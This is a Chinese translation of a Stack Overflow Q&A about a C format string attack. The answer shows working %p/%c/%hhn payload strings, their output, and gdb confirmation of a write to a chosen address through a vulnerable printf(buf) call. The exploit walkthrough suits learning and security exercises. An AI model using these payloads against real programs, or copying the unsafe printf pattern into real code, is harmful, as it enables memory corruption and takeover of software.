我想使用格式字符串利用(特别是sprintf)将整数1写入地址0x08049940

这就是函数的样子

void greet(char *s) {
   char buf[666];
   sprintf(buf, "Hello %s!\n", s);
   printf(buf);
}


我尝试了多个教程,但我相信它们不起作用,因为我的字符串已经以“ Hello”开头。所以我尝试使用输入开始写得更低


  %.1%n \ x39 \ x99 \ x04 \ x08


低7个值,以及原始地址附近的其他地址。但是我的gdb调试器不断告诉我,0x08049940上的地址仍然是代码中指定的默认地址。

最佳答案

您不会利用sprintf进行格式字符串攻击,而是稍后使用printf调用。

如果您可以观察到输出,则利用它相当容易。可以直接制作具有足够%p%x的字符串,直到看到所需的字节,而不是直接进行利用。例如,此程序对我有用:

#include <stdio.h>

void greet(char *s) {
   char buf[666];
   sprintf(buf, "Hello %s!\n", s);
   printf(buf);
}

int main(void) {
    greet("aaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
          "%p%p%p%p%p%p%p%0#p\x01\x02\x03\x04");
}


我用gcc -m32编译并运行,输出为

Hello aaaaaaaa0x566386f00x566386fc0x566385ac0xf7f4e5580x1
0x10x566386fc0x6548d9a40x206f6c6c0x616161610x61616161
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x4030201!


现在我们看到了0x04030201,我们可以将最终的%0#p更改为%hhn以将一个字节写入地址,或者将%hn写入short,或者将%n写入int。此数字是到目前为止写入的字符数,已转换为charshortint

当我们知道地址在堆栈中的位置时,我们可以将每个%p更改为%c,并且我们知道该地址将只消耗一个字符,从而更好地控制了所得的数字。

开始时我们在a处有些懈怠-可以用来更改其中一个转换的精度,以根据需要更改容易写入的字符数(例如,如果结果数太低123, ,可以通过打印一个具有124个字符字段宽度的字符来扩展:%124c);可以通过从提示中删除3个a来抵消count的增加。

同样,可以使用%0#p进行验证:

greet("aaa%123c%c%c%c%c%c%p%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%0#p\x01\x02\x03\x04");


我们得到:

Hello aaa

���X0x565e46fc�la1%%%%%%%%%%%%0x4030201!


最后,我们只是将%0#p替换为%hhn,就可以了。

为了证明它确实在写地址0x04030201,可以使用gdb to find out the address that caused the violation

Program received signal SIGSEGV, Segmentation fault.
0xf7e216aa in vfprintf () from /lib32/libc.so.6
(gdb) p $_siginfo._sifields._sigfault.si_addr
$1 = (void *) 0x4030201


剩下的作为练习留给读者...

关于c - C sprintf利用(格式化攻击),我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/53746514/

10-11 17:02